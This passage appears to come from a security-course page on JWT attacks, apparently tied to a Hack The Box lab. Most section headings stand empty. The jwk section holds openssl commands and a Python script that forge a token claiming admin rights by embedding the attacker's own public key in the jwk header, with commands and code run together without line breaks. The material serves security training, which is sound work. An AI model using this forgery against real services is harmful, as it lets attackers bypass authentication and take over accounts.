Further JWT Attacks
Secret Reuse Across Applications
Exploiting the jwk Header Claim (Public Key Confusion)
openssl genpkey -algorithm RSA -out exploit_private.pem -pkeyopt rsa_keygen_bits:2048 openssl rsa -pubout -in exploit_private.pem -out exploit_public.pemfrom cryptography.hazmat.primitives import serialization from cryptography.hazmat.backends import default_backend from jose import jwk import jwt payload = {"user": "htb-stdnt", "isAdmin": True} with open("exploit_public.pem", "rb") as f: pub = f.read() pub_obj = serialization.load_pem_public_key(pub, backend=default_backend()) jwk_dict = jwk.construct(pub_obj, algorithm='RS256').to_dict() with open("exploit_private.pem", "rb") as f: priv = f.read() token = jwt.encode(payload, priv, algorithm='RS256', headers={'jwk': jwk_dict}) print(token)
Exploiting the jku Claim / Blind SSRF
Other Dangerous Claims
Last updated